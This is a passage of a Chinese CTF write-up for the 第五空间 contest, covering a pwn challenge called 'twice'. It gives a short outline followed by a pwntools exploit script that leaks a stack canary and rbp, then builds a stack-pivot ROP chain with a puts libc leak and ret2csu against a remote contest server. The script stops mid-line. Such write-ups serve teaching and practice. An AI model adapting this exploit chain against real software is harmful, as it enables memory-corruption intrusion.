第五空间 部分题解

PWN

twice（栈迁移，ret2csu）

第一次先泄露出canary和rbp地址
第二次栈迁移+ROP，先puts泄露出libc，然后ret2csu把新的ROPchain读进来

from pwn import *
from LibcSearcher import *

r = remote("121.36.59.116", 9999)
#r = process("./twice/pwn")
context(arch='amd64', os='linux', log_level='debug')
DEBUG = 0
if DEBUG:
	gdb.attach(r,
	'''
	b *0x400844
	b *0x40087A
	b *0x40091A
	c
	''')
elf = ELF("./twice/pwn")
read_got = elf.got['read']
puts = elf.plt['puts']
pop_rdi = 0x400923
leave = 0x400879
csu1 = 0x40091A
csu2 = 0x400900
ret = 0x40087A

r.recvuntil(">")
r.send('a'*89)
r.recvuntil('a'*89)
canary = u64('\x00' + r.recv(7))
rbp = u64(r.recvuntil('\x7f').ljust(8, '\x00'))
buf = rbp - 0x70
success("canary:"+hex(canary))
success("rbp:"+hex(rbp))
r.recvuntil(">")
payload = p64(pop_rdi) + p64(read_got) + p64(puts)
payload += p64(csu1) + p64(0) + p64(1) + p64(read_got) + p64(0x1000) + p64(rbp) + p64(0) + p64(csu2)
payload = payload.ljust(88, 'a') + p64(canary) + p64(buf-8) + p64(leave)
r.send(payload)
r.recvuntil('\n')
read_addr